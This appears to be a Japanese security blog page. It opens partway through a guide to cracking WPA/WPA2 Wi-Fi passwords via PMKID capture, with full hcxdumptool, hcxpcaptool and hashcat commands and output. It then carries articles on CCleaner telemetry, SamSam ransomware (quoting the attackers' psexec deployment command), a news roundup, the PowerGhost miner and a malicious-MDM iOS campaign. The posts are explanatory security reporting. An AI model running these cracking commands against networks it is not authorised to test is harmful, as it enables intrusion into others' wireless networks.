REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

 

APがアソシエーション要求パケットを受信してPMKIDの送信をサポートすると、しばらくすると以下のように「FOUND PMKID」というメッセージが表示されます。

[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]
注意：

Wi-Fiチャンネルのノイズに基づいて、PMKIDを受信するまでに時間がかかることがある。そのため、成功させるためにはhcxdumptoolを10分間程度実行することをお勧めします。

 

２．１で出力したフレームをハッシュ変換

hcxpcaptoolツールを使用して、フレームの出力（pcapng形式）をHashcatが受け取れるハッシュ形式に変換。

入力コード
$ ./hcxpcaptool -z test.16800 test.pcapng
 
アウトプット
start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800
 
ハッシュ化したファイルの中身
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

カラムは以下のとおり（すべて16進数でエンコードされている）。

  • PMKID
  • MAC AP
  • MACステーション
  • ESSID
注意：

必須ではないですが、hcxpcaptoolを使う際に、-E -Iと-Uを使用することをお勧め。これらのファイルを使用してハッシュキャットにフィードすることが出来るようです。

ちなみに、各オプションについてですが、それぞれ以下のような設定です。

 
コード
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

 

３．パスワードのクラック

ここでようやく、前セクションで作成したハッシュファイルを、一般的なハッシュタイプとして攻撃することができます。使用する必要があるハッシュモードは16800です。

コード
$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

 

アウトプット
hashcat (v4.2.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!
#この行を右にスクロールすると、元のパスワードが表示されています。

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a
Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?lt! [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*.....:  1641.3 kH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 66846720/308915776 (21.64%)
Rejected.........: 0/66846720 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Candidates.#1....: hariert! -> hhzkzet!
Candidates.#2....: hdtivst! -> hzxkbnt!
Candidates.#3....: gnxpwet! -> gwqivst!
Candidates.#4....: gxhcddt! -> grjmrut!
HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018

まとめ

以上がHackcatの開発者・Steve氏によって発見されたWPA/WPA2の脆弱性を悪用したWiFiハッキング手法の解説となります。

２０１８年中に本格的に始動すると言われているWPA3セキュリティスタンダードが注目されている中、WPA/WPA2ワイヤレスネットワークプロトコルに潜む脆弱性が発見されてしまい、WPA3の登場が更に急がれる形となってしまいました。

このWiFiハッキング手法は、次世代ワイヤレスセキュリティプロトコルWPA3に対しても機能しません。なぜなら、WPA3は、「Simultaneous Authentication of Equals」（SAE）という近代的な鍵プロトコルを使用しており、攻撃するのがずっと難しいからです。

 

 【参考】

CCleanerによる強引なデータ収集

f:id:nanashi0x:20180807201551j:plain

www.ghacks.net

CCleanerという、システムクリーナーをご存知でしょうか？

gHacks.netによると、どうやらCCleanerの最新版(v5.45)からユーザ情報を収集するオプションが無効に出来なくなったようです。

この記事では、以下の順番に解説します。

  • CCleanerとは？
  • 最新版CCleanerの問題点
  • 対策

CCleanerとは？

f:id:anoymask:20180804233045p:plain

CCleanerとは、システムクリーナーと呼ばれるブラウザの一時ファイルやクッキー等を削除するソフトウェアです。

パソコンやスマホの動作を軽くするソフトウェアとして人気があり、Google Play Storeだけでも約88万DLされています。

元々はPiriform社が開発をしていましたが、現在は買収されてセキュリティ会社のAvast社が開発を行っています。

最新版CCleanerの問題点

最新版CCleanerの問題点は、前述した通りユーザ情報を収集するオプションが無効に出来なくなっている点です。

gHacks.netによると、下図の「Enable system monitoring」と「Enable Active Monitoring」のチェックを外したとしても再起動すると再度有効になるそうです。

f:id:anoymask:20180804222201p:plain

(CCleaner v5.45 Monitoring画面。Dont install or upgrade to CCleaner 5.45より)

また、CCleanerを×ボタンを押して閉じたとしても最小化されるだけで、バックグラウンドで起動し続けるようです。

送信されるデータは、データとユーザが紐づかないように匿名で送られているようですが、勝手に自分の情報が収集されるのは気分が良いものではありません。

対策

f:id:anoymask:20180804233241p:plain

Piriform社はフォーラムでユーザからのクレームがあったため、Piriform社はv5.45からv5.44に戻しました。

そのため、CCleanerを一度アンインストールしてからv5.44のCCleanerをダウンロードすることで今回の問題は解決します。

もしくは、Windowsユーザであれば、CCleanerをアンインストールしてWindowsのディスククリーンアップ機能を使うのも良いでしょう。

CCleanerは去年にもマルウェアが混入していた事件があり、標的企業のリストにSonyが入っていたため騒がれていました。[1,2]

人気だからといって必ずしも安全であるとは限らないため、CCleanerに限らず、本当に使う必要があるのか考えてソフトウェアはインストールするようにしましょう！

gHacks.netの記事を読む

 

 

（執筆：Anoymask (@UXYEA) | Twitter）

SamSamランサムウェアの感染プロセス・タイムライン・ターゲットとは？

ランサムウェア

f:id:nanashi0x:20180803222806p:plain

Design Credits: vecteezy.com

 

Sophosセキュリティが、47ページにも及ぶSamSamランサムウェアに関する調査結果をまとめたレポートを公開しました。

SophosはSamSamランサムウェアに関する調査を長期間続けており、攻撃者としてもフラストレーションが募ったのか、最新版SamSamランサムウェアによって暗号化されたファイルの拡張子は「.sophos」となっています。

大手海外メディアのTheHackerNews、BleepingComputer、日本ではZDNetJapanなどがSophosのレポートの概要を記述したニュース記事を公開しているので、このニュースをご覧になった方も多いのではないでしょうか。

現段階で日本におけるSamSamの被害は確認されていませんが、近いうちに感染被害が出るとも限りません。

「備えあれば憂いなし」とは言いますが、どのようなランサムウェアか知っておくだけでも対策が打ちやすくなると思います。

そこで今回のブログ記事では、Sophosセキュリティが出したレポートをベースに6億円以上もの身代金を稼ぎ出したSamSamランサムウェアの実情に関して解説していきます。

尚、解説をするにあたって、以下のポイントを押さえながら説明していきます。

  • SamSamランサムウェアの感染から身代金回収までのプロセス
  • ターゲットの業種と国
  • 被害総額約6億円（執筆当時）の内訳と推移

6000字強の長い記事になりますので、「全部読むほど暇じゃないわ！」って人は以下のSummaryだけでも読んでおくと、SamSamランサムウェアの概要が理解できます。

Summary

  • SamSamは2015年後半から590万ドル以上(執筆時点でおよそ6å„„7千万)稼いでいる。

  • 被害者の74％が米国にいる。他にはカナダ、英国、中東など。

  • 被害者一個人によって支払われた身代金の最大額は64,000ドル。これはランサムウェアが被害者1人から回収した身代金としては最大級。

  • SamSamは医療、教育、政府の中規模から大規模な公共部門組織を対象としており、被害者総数の約50％を占めている。

  • 攻撃者はターゲット選択に注意を払い、攻撃準備は細心の注意を払う。ユーザーやNW管理者が眠っている真夜中であったり、ターゲットの居住する現地時間帯の早朝に、端末内ファイルの暗号化コマンドを起動する。

  • SamSamは、他のランサムウェアとは異なり、文書ファイル、画像、その他の個人データや作業データだけでなく、アプリケーションを実行するために必要な構成ファイルやデータファイル（Microsoft Officeなど）も暗号化する。したがってバックアップ対象が文書ファイル保護のみのユーザーは、OSの再インストールなしではSamSamの被害から回復できない。

  • 攻撃の洗練さは、SamSamの運用上のセキュリティを制御する攻撃者グループによる意識の高まりを示唆。

  • SamSamの被害者は劇的に増加しており、未だ攻撃のペースは留まる気配すらない。

 

SamSamの感染から身代金回収までのプロセス

このセクションでは、攻撃者がどのようにターゲットを特定し、SamSamランサムウェアに感染させ、被害者から身代金を回収するのかを解説していきます。

  1. ターゲットの特定と取得
  2. ネットワーク侵入
  3. 特権昇格
  4. ネットワークスキャン
  5. ランサムウェアの展開と実行
  6. 身代金支払いの待機

１．ターゲットの特定と取得

まずはじめに、攻撃者が特定の組織を特定する方法は不明です。しかし、一般的な手段として、ダークウェブ上の他のハッカーから脆弱なサーバーのリストを購入していたり、ShodanやCensysなど脆弱システム用検索エンジンを使用している事が予想されます。

ただ、現時点で明らかになっているのは、主に米国に拠点を置く中規模から大規模の組織を対象とする傾向がある事です。

次にターゲットの買収ですが、こちらは比較的簡単に行われます。

SamSamによる攻撃が始まった2016年、JBOSSシステムの脆弱性を悪用して、トランスクリプトをネットワークにコピーできる特権を得ることが知られていました。

SamSamランサムウェアを操る攻撃者は、Windows RDPアカウントを乗っ取る事によってネットワークアクセスを確保します。

２．ネットワーク侵入

最近のSamSam攻撃では、攻撃者は、リモートデスクトッププロトコル（RDP）を使用してインターネット経由でアクセス可能なマシンに不正ログインを試みています。

このステップはShodanで検索すれば少なくとも簡単に情報収集が可能です。例えば、デフォルトのRDPポートであるポート3389を介してアクセス可能な何千ものIPアドレスが検索可能です。

３．特権昇格

「攻撃者はRDPとエクスプロイトの組み合わせを使用して、対象のネットワークにアクセスしている」と報告されています。一般的に、RDP経由でドメインユーザーアカウントにアクセスしているようです。

ネットワークに侵入すると、攻撃者はハッキングツール（詳細は後述）の組み合わせを使用して、特権をドメイン管理者アカウントに昇格させます。

この時、攻撃者がドメイン管理者のログインを待機しているため、数日間かかることがあることが知られています。

侵入したマシンは、認証ツールであるMimikatzを実行するので、ドメイン管理者がログインすると盗まれるのです。

４．ターゲットコンピュータのネットワークのスキャン

SamSamは、WannaCryのような他の有名なランサムウェアと違って、ワームやウイルスの機能を持っていません。つまり、SamSam単体では別端末への感染・増殖は不可能です。

その代わり攻撃者は、PsExecなどの正当なWindowsネットワーク管理ツールと盗難の兆候を使用してマルウェアを展開します。

SamSamランサムウェアは、被害者端末のドメインコントローラによって集中管理されている、あたかも”正当なアプリケーション”であるかのように振る舞います。

一体何故このような方法を取るのでしょうか。実は、いくつか利点があるのです。第一に、手作業による攻撃を行うことで感染被害の拡大を攻撃者の想定の範囲内に収める事ができる為、不要な注目を集める危険性がありません。

第二に、攻撃者は感染端末の管理を厳密に行なっているので、どの時点でどの端末が暗号化されているのか把握しています。

そのために攻撃者は、攻撃全体を管理する目的で、いわば”コマンドセンター”として使用する目的で被害者のサーバーを乗っ取り制御します。

攻撃者は、その乗っ取ったサーバーを起点にネットワークスキャンツールを展開するのです。

スキャンツールが被害者のファイルシステムにアクセスできるようになると、アクセスできるすべてのコンピュータのC： Windows System32フォルダに、test.txtという名前のプレーンテキストファイル（「OK」という文字列が含まれる）を書き込みます 。

同時に、このツールは、感染したサーバーのalive.txtという名前のファイルに、犠牲となるコンピュータのリストを作成します。これは後で.txtファイルをターゲットリストとして使用するのが目的です。

５．ランサムウェアの展開と実行

攻撃者が使用するランサムウェアの展開ツールはSysinternals PsExecというアプリケーションです。Sysinternals PsExecは、攻撃者がネットワーク上のファイルをコピーするために使用します。

また攻撃者は、PsExecがブロックされている状況で他の展開ツールを使用することが知られています。

例えば、最近の攻撃の1つでは、PowerAdminからPaExecという類似のツールに切り替わっていました。

実は、バッチファイルに与えられた引数として（手動で提供された）パスワードが必要です。

以下は攻撃者がSamSamランサムウェアのペイロードを復号化するために使用されるコマンドです。

psexec -accepteula -s machine-name cmd.exe /c if exist
C:windowssystem32g04inst.bat start /b g04inst.bat <PASSWORD>

６．身代金支払いの待機

被害者の端末に対して攻撃が開始されると、SamSamランサムウェアを裏で操る攻撃者は、犠牲者が攻撃者の暗いウェブ支払いサイトを介して接触したかどうかを確認します。

攻撃者は被害者に約7日間、身代金を支払うようにしていますが、追加費用を支払えば支払い期間の延長も可能です。

 

被害者に関して（国別、業種別のデータ）

続いてこのセクションでは、SamSamランサムウェアの被害者に関するデータを見ていきます。

SamSamランサムウェアに関して報道するニュースの多くは、SamSamランサムウェアの被害者となったのは、ヘルスケア、政府、教育部門である報道しました。

実際に、SamSamランサムウェアがそれら業界をターゲットにしたことは事実です。

今年だけで、AllscriptsやAdams Memorial Hospitalのような医療提供者、アトランタ市やコロラド州交通局などの政府サービス、更にはミシシッピバレー州立大学などの教育機関もSamSamランサムウェアの標的となりました。

しかし、Sophosは、これらの3つのセクターがSamSamランサムウェアの被害に遭った総数の半分に過ぎないことを発見しました。

実は、最も被害を受けたのは民間企業でした。被害に遭った企業は風評被害を恐れ、SamSamランサムウェアによる被害を公開しなかったのです。

政府と教育部門がニュースヘッドラインで取り上げられているのは、SamSamランサムウェアの攻撃被害について公にされる可能性が高い事が原因です。

SophosによるBitcoinアドレスの調査では、約233人の被害者が攻撃者に身代金を支払ったと推定していますが、それらの被害者の特定は不可能です。

以下に国別、業界別に分類したデータを示します。

 

国別でみる被害状況

SamSamランサムウェアの被害に遭ったのは、以下のような順番になっています。

  1. アメリカ（74％）
  2. イギリス（8％）
  3. ベルギー（6％）

以下の図をご覧の通り、アメリカにおける被害が圧倒的に多い事が分かっています。

その他、上位にランクインしている国の殆どが英語を日常的に使う人達が一定数存在する国です。

人口数でみたら圧倒的に高いはずの中国への感染がないことや、日本含む東南・東アジア地域はSamSamランサムウェアの対象からは外れている事が伺えます。 

f:id:nanashi0x:20180801215937p:plain

(国別の被害状況について。”SamSam: The (Almost) Six Million Dollar Ransomware”より)

 

業界別でみる被害状況

次に、SamSamランサムウェアの被害者となった組織・団体・個人を業界別に分類しました。ヘルスケア、政府、教育を分け、残りのすべての組織を「民間セクター」として分類しています。

f:id:nanashi0x:20180801220014p:plain

(業界別の被害状況について。”SamSam: The (Almost) Six Million Dollar Ransomware”より)

 

以上に示したSamSamランサムウェアの被害者ベースに、SamSamに感染した事実を開示した被害者を業界別にまとめたデータを示します。

政府、ヘルスケア、教育機関の順に開示率が高いのですが、注目すべきは民間企業の開示率の低さ（０％）です。

 

f:id:nanashi0x:20180803212031p:plain

(業界別の情報開示率。”SamSam: The (Almost) Six Million Dollar Ransomware”より)

 

SamSamランサムウェアに感染した民間企業の全ては、セキュリティインシデントが発生した事実すら開示していないか、インシデントを公表したとしても根本的な原因について言及せず、「コンピュータ・プロブレム」としか開示しなかったとされています。

ちなみに開示していなかったはずなのに、何故このようにデータとして残っているかというと、Sophos独自の調査と、他のセキュリティベンダーとの協力を通じ、SamSamであることを別途確認したからのようです。

 

およそ６億という被害総額の内訳

続いて、SamSamランサムウェアが被害者から回収した身代金についてのデータを見ていきましょう。

身代金の支払い額の推移

以下に示している図は、SamSamランサムウェアが被害者から回収した身代金の推移を横軸に時間、縦軸に金額を置いて表したグラフです。

 

f:id:nanashi0x:20180801220833p:plain

(身代金の支払い額の推移。”SamSam: The (Almost) Six Million Dollar Ransomware”より)

 

平均身代金請求額（米ドル） の推移

続いて以下に示している図は、SamSamランサムウェアが被害者に対して請求した身代金の推移を横軸に時間、縦軸に平均額を置いて表したグラフです。 

 

f:id:nanashi0x:20180801220839p:plain

(平均身代金請求額（米ドル） の推移。”SamSam: The (Almost) Six Million Dollar Ransomware”より)

 

以上に示した支払い額と支払い請求額から、SamSamランサムウェアの被害に遭い、実際に身代金を支払った被害者の数を推定する事が出来ます。

被害者の数は、233人だったと言われています。

毎日1人の新たなユーザーがSamSamランサムウェアによって攻撃されると推定されており、約4人に1人の犠牲者が身代金の少なくとも一部を支払っているとSophosは公表しています。

まとめ

この記事では、SamSamランサムウェアについてSophosが公開したレポートをベースに、以下のポイントについて解説しました。

  • SamSamランサムウェアの感染から身代金回収までのプロセス
  • ターゲットの業種と国
  • 被害総額約6億円（執筆当時）の内訳と推移

データを見たとおりアジア圏での感染被害は未だ確認されていませんが、日本企業がいつ被害に遭ってもおかしくありません。引き続き警戒すべき事案といえるでしょう。

 

（執筆：Ichi (@0x31_nose)）

ウィークリー・セキュリティニュースまとめ（2018年7月16日〜29日分）

ウィークリーまとめ

weeklynewsdigest

こんにちは。Ichiです。

7月16日〜29日分のニュースまとめです。

前回のウィークリーまとめ記事からだいぶ時間が経ってしまいましたが、ニュースは盛りだくさんありますので、”忙しい人のため”にニュース概要を解説していきます。

ニュースまとめ(7月16日〜29日分)

CiscoTalosの調査によれば、インドに位置する13個のiPhoneをターゲットにした標的型攻撃が行われました。

標的型攻撃といえば、ターゲットが開きそうなメールを使用してマルウェアに感染させる攻撃手法が一般的ですが、こちらの攻撃ではMDMツールが使用されたのです。

概要だけ説明すると、MDMとは一般的に企業が管理する社用携帯を一括管理する機能を持ち、企業の指定するアプリを入れることが出来ます。そうした機能を使って、マルウェアを配布するのがMDMを用いた標的型攻撃になります。

携帯用アプリにBOptions sideloading techniqueという手法を使って .dllファイルを注入し、ターゲットの携帯に保存されている個人情報を盗み取ることが出来るのです。

実はこのニュースには続編があり、MDMを使って配布されたアプリはTelegramやWhatsAppに留まらず、他にもIMOであったり、細工されたSafariブラウザであることが判明しました。

また当ブログではMagniberランサムウェアに関して解説致しました。

MagniberはMagnitudeエクスプロイトキットに含まれるランサムウェアの一種です。

かつては韓国のみをターゲットにしていたと見られていたMagniberランサムウェアですが、2018年7月に行われた調査によれば、中国語圏・マレー語圏へと、攻撃対象を広げた事が明らかになりました。

 

続いて、当ブログではDNS Rebindingという攻撃手法に関して紹介。

DNSRebindingとは、DNSを使用して同一生成元ポリシーを回避する攻撃の事で、攻撃者が悪意あるサイトと細工の施したDNSを用意している前提で成功する攻撃手法の事です。

DNSRebinding攻撃を公表したBrannon Dorsey氏のブログにはデモ用ツールが用意されているので、興味がある方はDNSRebinding攻撃を試してみるといいでしょう。

更に、Malwarebytesが同社の提供するサービスから得たデータ分析してまとめた２Qレポートを公開しましたので、当ブログでポイントを絞って紹介しました。

暗号通貨の暴落、低迷を受けてクリプトジャッキングの検知数は減少していることや、GandCrabによる被害が２Qでは多かった事、更にはGDPRの施行が原因でPII（個人特定情報）の窃取が上昇していく可能性がある点について言及しました。

Malwarebytesの２Qレポートに関連して、PaloAltoNetworksが公開したIoTボットネットのMiraiの亜種等による検知数の増加に関しても当ブログで解説しました。

検知数が増加しているIoTボットネットはそれぞれOMNI、OKANE、HAKAIというボットネットで、中でもOMNIは従来型のIoTボットネットのようにデフォルト認証情報を入力してボット化するのではなく、脆弱性をエクスプロイトしてリモートからコマンド実行する事から、今後も目が離せません。

以上が7月16日〜26日分のニュースまとめでした。過去のニュースまとめは以下のリンクから閲覧できますので、是非御覧ください。

 

”PowerGhost”ーー 新機能を備えた「ファイルレス型マイニングマルウェア」

マルウェア

f:id:nanashi0x:20180730194217p:plain Graphics Provided by Vecteezy.com

securelist.com

Kasperskyはブログで、ファイルレス機能を持ち、かつ大規模な企業ネットワークに感染するマイニングマルウェアを発見したと報告しました。

今までも、「Coinminer」や「Wannamine」のように、EternalBlueやWMIを使用したファイルレス機能や感染機能を持つマイニングマルウェアはありました。

しかし、今回発見されたPowerGhostと呼ばれるマイニングマルウェアは、さらに進化しており今までにない機能が追加されています。

ちなみにPowerGhostに関して、海外仮想通貨メディアとして有名なcoindeskも”New Crypto Mining Malware Targeting Corporate Networks, Says Kaspersky”という記事を書いていますが、こちらの記事は概要説明のみ述べられており、PowerGhostに関する技術的な解説は一切記載されていません。

PowerGhostの理解をするためには、マイニングマルウェア技術理解が不可欠であり、先に挙げたcoindeskによる解説記事では不十分です。またKaspersky日本法人による原文の翻訳も公開されていません。

そうした理由から本記事でPowerGhostに関して以下のポイントに絞って解説を行います。

  1. マイニングマルウェア
  2. PowerGhostの機能
  3. EternalBlueの影響範囲

マイニングマルウェアとは

マイニングマルウェアとは、標的端末のリソースを利用して仮想通貨をマイニングするマルウェアです。

仮想通貨をマイニングするには、豊富なリソースが必要になるため攻撃者はなるべく長く、バレずに多くの端末上でマイニングしようと考えます。

そのため、ファイルレス機能を搭載してシグネチャベースのウイルス対策ソフトの検知を回避したり、WannaCryで話題になったEternalBlueのような機能を搭載して、ネットワーク上の他の端末に感染したりします。

また従来のマルウェアと異なり、Keyloggerに代表される端末上のデータ窃取等の動きをせずに、「マイニングのみ」を目的としているのが多いのも特徴の一つです。

有名なマイニングマルウェアとして、以下の4つが挙げられます。

PowerGhostの機能

f:id:anoymask:20180729133959p:plain (PowerGhostのコードの一部。A mining multitoolより)

さて、このセクションではPowerGhostの機能に関して説明していきます。

PowerGhostとは、インド、ブラジル、コロンビア、トルコを中心として感染を広めているマイニングマルウェアです。

PowerGhost自体は、難読化されたPowerShellスクリプトであり、コアとなるコードと、付随するアドオンモジュールで構成されています。

機能としては、以下のような機能を持っています。

  1. 自動セルフアップデート
    C&C(Command & Control)サーバに新しいバージョンのPowerGhostがあればダウンロードして更新する機能です。

  2. 感染機能
    Mimikatzを使用して、ユーザのアカウント情報窃取し、Windows Management Instrumentation(以下、WMIという)により、ローカルネットワーク内の他の端末に自身をコピーして感染します。 「自身のコピー」とは後述するC&CサーバからPowerGhostをダウンロードする1行で書かれたPowerShellスクリプトのことです。また、PowerGhostは、以下の手順でEternalBlue(MS17-10,CVE-2017-0144)をエクスプロイトする感染機能も備えています。

  3. 権限昇格
    MimikatzとWMIを使って感染する場合、管理者権限やSYSTEM権限が必要になるため権限昇格させます。
    権限昇格させる方法として、MS16-032、MS15-015とCVE-2018-8120が使用されます。

  4. システムへの足場確立
    PowerGhostは、すべてのモジュールをWMIクラスに保存します。
    また、1行のPowerShellスクリプトはWMIサブスクリプションに保存され、90分毎に実行されます。

  5. ペイロード
    WMIに格納されたスクリプトが起動すると、反射型PEインジェクションによりPEファイルに注入されます。

さらに、Kasperskyによると、あるバージョンのPowerGhostはDDoS攻撃も出来るようになっているようです。

しかし、DDoS攻撃をする機能は、他のファイルレスで実行している機能と違って、ローカルに二つのファイルをダウンロードして動作します。

恐らく、「お金儲けのために後付けされたのではないか」と推測されています。

また、Kasperskyは「DDoS機能はテストツールである可能性があり、今後ファイルレスの実装に置き換わるだろう」と述べています。

従来のマイニングマルウェアとの違い

従来のマイニングマルウェアとの違いは、コアコードがある点です。

このコアコードがあることにより、感染時に毎回マルウェアのファイルをダウンロードするのではなく、1行のPowerShellスクリプトによりPowerGhostのbodyとなるコードをハードドライブに書き込まずに感染端末に仕込むことが出来るようになります。

この違いは大きく、この仕組みがあるおかげでハードドライブに痕跡が残りません。更に、Windowsの正規ツールであるPowerShellを使っているため、検知がより困難になるのです。

また、テスト段階ではありますが、DDoS攻撃が出来る点も従来のマイニングマルウェアとは異なります。

先日、本ブログでも触れたように仮想通貨の値段が下落しているため、マイニングマルウェアもマイニングだけでは利益率が悪くなってしまっています。

そのため、お金をさらに稼ぐためにDDoS攻撃が出来るようにしている点は非常に興味深いです。

今後は、潜伏する必要があるため派手な機能は付けられないと思いますが、Botのように機能が増えていく可能性は十分あり得るでしょう。

なぜ未だにEternalBlueが使われるのか

筆者が本記事を執筆している際、「WannaCryによる世界的な感染被害が話題になったにも関わらず、何故未だに対策が取られずにEternalBlueが有効なのか疑問に思いました。

そこで、Shodanを使ってWannaCry以降EternalBlueの被害を受ける端末数が減っているのかを調べてみました。

今回は、2017年5月24日と2018年7月28日時点のEternalBlueの影響を受ける端末数を比較しています。

まず結論から申し上げますと、EternalBlueの影響を受ける端末数は増えています。以下、そう結論付けるに至った根拠を説明していきます。

以下に示す図１を見て頂ければ分かる通り、EternalBlueの影響を受ける端末の台数は2017年5月24日時点と2018年7月28日を比べると全体的に増えています。なんと日本に至っては43,574台から90,002台へと、2倍以上も増えています。

f:id:anoymask:20180729115437p:plain
(図１　EternalBlueの受ける影響を受ける端末数（国別）)

そこで、全体的に増えていることから、OSのサポート期限が影響しているのかと思いOS別の端末数も見てみました。

以下に示す図２を見て頂ければ分かる通り、順位は変わっているものの、ランキングに入っているOS自体はほとんど変わっていません。

この結果から判断すると、何らかのOSのサポート切れが近づいて移行したことにより、設定不備が生じた事が原因では無さそうです。

f:id:anoymask:20180729121029p:plain
(図２　EternalBlueの受ける影響を受ける端末数（OS別）)

仮に1年の間に図2に示したOSを搭載する端末の母数が増えたと仮定しても、新しくシステムをリリースをするのであれば、最新にアップデートされたOSを使用しますし、そもそもリリース前に脆弱性診断をするはずです。

そのため、1年後にこれだけ多くのEternalBlueの影響を受ける端末が増えることは考えにくいでしょう。

以上を踏まえた筆者の意見では、EternalBlueの影響のある端末がわずか1年で増加した原因の一つとして、Shodan側のスキャン方法の変更があったのではないかと推測しています。

執筆時点では増加した理由は不明ですが、多くの端末が未だに影響を受けるという事実自体には変わりはありません。

今後もEternalBlueを使用した攻撃は絶え間なく続く可能性が高いため、パッチ適用やSMBv1の使用停止等の対策を取ることをオススメします。

ちなみに、脆弱な端末を検索する際に便利なShodanのアカウント登録方法はこちらの記事で解説しています。まだ登録されていないようであれば、ぜひこちらの記事を参考にしながら登録してみて下さい。

【参考】

A mining multitool - Securelist

ファイルレスマルウェアとは？〜非マルウェア型攻撃を理解する〜 | BLOG | サイバーリーズン | EDR（次世代エンドポイントセキュリティ）

脅威スポットライト: ファイルレスマルウェアの真実

「ファイルレス活動」を備えた仮想通貨発掘マルウェア「COINMINER」を確認、「EternalBlue」を利用して感染 | トレンドマイクロ セキュリティブログ

Cryptomining: Harmless Nuisance or Disruptive Threat?

暗号通貨マイニングマルウェア「Adylkuzz」がEternalBlue/DoublePulsarを介して拡散中 | Proofpoint Japan

仮想通貨を発掘する「Smominru」ボットネット、企業サーバを悪用か - ZDNet Japan

Kasperskyのブログを読む

（執筆：Anoymask (@UXYEA) | Twitter）

【続報】MDMツールを使用してマルウェア配布。前回調査結果は「氷山の一角」か

脆弱性 Apple

f:id:nanashi0x:20180726203406p:plain

Free Vectors by www.vecteezy.com

 

２週間ほど前、MDMプラットフォームを悪用して標的型攻撃を行った事例に関して紹介しました。


CiscoのセキュリティチームであるTalosが更に追求した所、先日のiOSのMDMツールを悪用した標的型攻撃は氷山の一角に過ぎないことが判明したようです。

実はMDMプラットフォームを悪用して細工されたアプリをインストールさせた攻撃者達は、前回確認されたTelegramやWhatAppを装うマルウェアだけでなく、他のiOSマルウェアを拡散している事が明らかになったのです。

以上の事実については、Talosが公表したレポートに現時点で分かっている事実に関して詳細に説明がされています。


しかし、かなり長めの英文レポートである事から、この記事では、以下のポイントに絞ってTalosの調査報告に関する解説をしていきます。

それでは参りましょう！

 

MDMツールに別バージョン

認証画面が新たに追加

まずはじめに、先日弊ブログでも紹介した「13台のiPhoneを襲った標的型攻撃」でマルウェアの配布使用されたMDMツールですが、Talosの調査によれば別のバージョンが存在している事が明らかになりました。

今回Talosが発見したMDMツールは、GitHubでもコードが公開されているオープンソースプロジェクト「mdm-server」に修正を加えて開発されました。

mdm-serverは小規模のiOS向けMDMサーバーで、攻撃者はこれに以下のような認証プロセスを加えています。

MDMに追加されている認証画面
(MDMに追加された認証画面。Advanced Mobile Malware Campaign in India uses Malicious MDM - Part 2)

 

攻撃者は証明書も入手

攻撃者は、自らが作成したMDMアプリの信憑性を高める為に、証明書（CA）も取得しています。

実際の証明書は、以下の画像にある通りです。香港に拠点を構えるTech Bigという架空の会社に対して、2018年1月に証明書が付与された事が記載されています。

f:id:nanashi0x:20180726201809p:plain

(MDMの証明書。Advanced Mobile Malware Campaign in India uses Malicious MDM - Part 2)

 

すでに登録された端末も

Talosは更に該当のMDMサーバーのログ分析を実施。すると、3台の端末がMDMサーバーに登録されている事がわかりました。

登録されていた3台の端末について、以下に箇条書きで概要をまとめます。

